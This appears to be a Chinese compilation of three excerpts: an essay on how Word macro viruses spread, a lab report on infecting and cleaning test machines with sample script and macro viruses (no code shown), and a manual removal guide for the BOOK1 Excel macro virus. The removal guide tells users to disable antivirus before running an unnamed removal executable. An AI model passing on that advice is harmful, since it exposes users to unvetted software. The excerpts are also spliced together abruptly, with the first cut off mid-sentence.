宏病毒的深入分析 OFFICE给用户提供了用于创建专业而优雅的文档,表格等工具，帮助用户节省时间，并得到优雅美观的结果，在当前使用中是占有巨大优势的文字，数据处理器。它为我们的办公提供了极大的便利.OFFICE为了方便客户，提供了宏这样一个功能。宏就是能组织到一起作为一独立的命令使用的一系列命令，它能使日常工作变得更容易，一般说来，宏是一种规则或模式，或称语法替换，用于说明某一特定输入（通常是字符串）如何根据预定义的规则转换成对应的输出（通常也是字符串)。这种替换在预编译时进行，称作宏展开。通俗的来说，客户事先设置好宏，需要时就可以批量使用，而不必重复操作。然而宏也是一把双刃剑，它在让客户享受便利的同时，同时也为黑客留下了漏洞，这就是今天要分析的宏病毒。 宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。word宏病毒通过．DOC文档及．DOT模板进行自我复制及传播，而计算机文档是交流最广的文件类型。多年来，人们大多重视保护自己 计算机的引导部分和可执行文件不被病毒感染，而对外来的文档文件基本是直接浏览使用，这给Word 宏病毒传播带来很多便利。特别是Intemet网络的普及．Email的大量应用更为Word 宏病毒传播铺平道路。根据国外保守的统计，宏病毒的感染率高达40％以上，即在现实生活中每发现100个病毒，其中就40多个宏病毒，而目前国际上普通病毒种类已达12000多种。 宏病毒的产生，是利用了一些数据处理系统内置宏命令编程语言的特性而形成的。这些数据处理系统内置宏编程语言的存在使得宏病毒有机可乘，病毒可以把特定的宏命令代码附加在指定文件上，通过文件的打开或关闭来获取控制权，实现宏命令在不同文件之间的共享和传递，从而在未经使用者许可的情况下获取控制权，达到传染目的。目前在可被宏病毒感染的文件中，以W0rd，Excel居多。Word宏病毒与Excel宏病毒的特性较为相似，因此以word宏病毒为例，说明宏病毒的作用，传染以及发作的机理和特性。一旦病毒宏侵入woId，它就会替代原有的正常的宏，如FileOpen、FileSave等，并通过这些宏所关联的文件操作功能获取对文件交换的控制。当某项功能被调用时，相应的病毒宏就会篡夺控制权，实施病毒所定义的非法操作，包括传染操作、表现操作以及破坏操作等。宏病毒在感染一个文档时，首先要把文档转换成模板格式，然后把所有病毒宏f 包括自动宏)复制到该文档中。被转换成模板格式后的染毒文件无法转存为任何其他格式。含有自动宏的宏病毒染毒文档，当被其他计算机的woId系统打开时，便会自动感染该计算机。例如，如果病毒捕获并修改了FileOpen．那么，它将感染每一个被打开的Word文件。目前，几乎所有已知的宏病毒都沿用了相同的作用机理，即如果Word 系统在读取一个染毒文件时遭受感染．则其后所有新创建的DOC文件都会被感染。 以往病毒是以二进制的计算机机器码形式出现，而宏病毒则是以人们容易阅读的源代码宏言word Basic形式出现，所以编写和修改宏病毒比以往病毒更容易。目前，世界上的宏病毒原型己有几十种，其变种与日俱增．追究其原因还是Word
计算机病毒实验
计算机病毒实验报告
一、实验目的 （1）掌握常见几种病毒的基本原理 （2）掌握清除病毒的方法 （3）学会使用几种常见病毒进行基本编程的技术 二、实验内容 分别用PE病毒，欢乐时光脚本病毒，梅丽莎宏病毒，台湾宏病毒，万花谷脚本病毒，网络炸弹脚本病毒进行感染和病毒清除实验。 三、实验环境 信息安全综合实验系统 操作系统：WINDOWS2000 JDK版本：Java Standard Edition 1.4.0以上 数据库：Mysql 开发语言：JSP Web服务器:Tomacat Office版本:MS office2000/2003 四、实验结果 1、网络炸弹 （1）实验原理 网页恶意代码确切的讲是一段黑客破坏代码程序，它内嵌在网页中，当用户在不知情的情况下打开含有病毒的网页时，病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂，所以会被很多怀不良企图者利用，使非常多的用户遭受损失。 “网络炸弹”是一种网页恶意代码，可以无限次得弹出固定窗口来达到侵占客户机系统资源，最终导致客户端死机的结果。 （2）结果演示 1、修改IE的安全级别
2、修改注册表的安全设置 图2 修改IE安全设置
3、网络炸弹感染 图3 网络炸弹感染4、网络炸弹源码 图4 网络炸弹源码
2、万花谷脚本病毒 （1）实验原理 JS.On888 脚本病毒(俗称“万花谷”病毒)实际上是一个含有恶意脚本代码的网页文件，其脚本代码具有恶意破坏能力，但并不含有传播性。实验病毒为模仿它所写成的类“万花谷”病毒,减轻了病毒危害。 （2）结果演示 1、修改IE的安全级别 2、万花谷病毒感染 图5 万花谷病毒感染-1
BOOK1宏病毒手工处理方法
BOOK1宏病毒手工处理方法 如果你打开XLS文件，同时会产生一个BOOK1的工作薄，那么，可以确定，你的office2003中了BOOK1宏病毒。该病毒看似无恶意，但是烦人，之后使用过的XLS文件都将被感染。虽然该毒不是新毒，但目前各杀毒软件都不识别。 以下为处理方法： 1、如果你的office2003装在C盘，则双击“防止感染C.bat”，office 装在D盘，则双击“防止感染D.bat”（说明：该操作可在X:\Program Files\Microsoft Office\OFFICE11\XLSTART下生成BOOK1特殊文件（普通方法无法删除），防止该病毒建立book1病毒文件，如果\XLSTART 存在book1（155KB）在启动EXCEL时，就会同时打开该文件，所以感染你打开的XLS文件。） 2、安装“BOOK1宏病毒超专杀.exe”（该软件必须关闭你所装的杀毒软件方可运行。），并对你的XLS文件进行扫描清除宏毒。该软件不理想的是，打开已扫描（已清除）宏病毒的XLS，始终会有禁止宏的提示。按3可以去除。 3、打开已扫描（已清除）宏病毒的XLS，提示点“确定”。点菜单插入，名称，定义，出现“定义名称”对话框，按住ALT+D，用鼠标点列表中的各项（即依次删除各项），最后，保存XLS。再打开就正常了。 通过以上3步，即可彻底搞定该BOOK1病毒。
如果2中，“BOOK1宏病毒超专杀”无法运行，请人工清除该病毒。一定先执行1。然后，打开带宏毒的XLS文件，并启用宏。点菜单格式，工作表，取消隐藏。确定。此时，会出现“00000ppy”工作表，点菜单工具，保护，撤消工作表保护，密码为“VicodinES”。然后，对着“00000ppy”表标签右击，删除。再执行3。到此手工清除结束。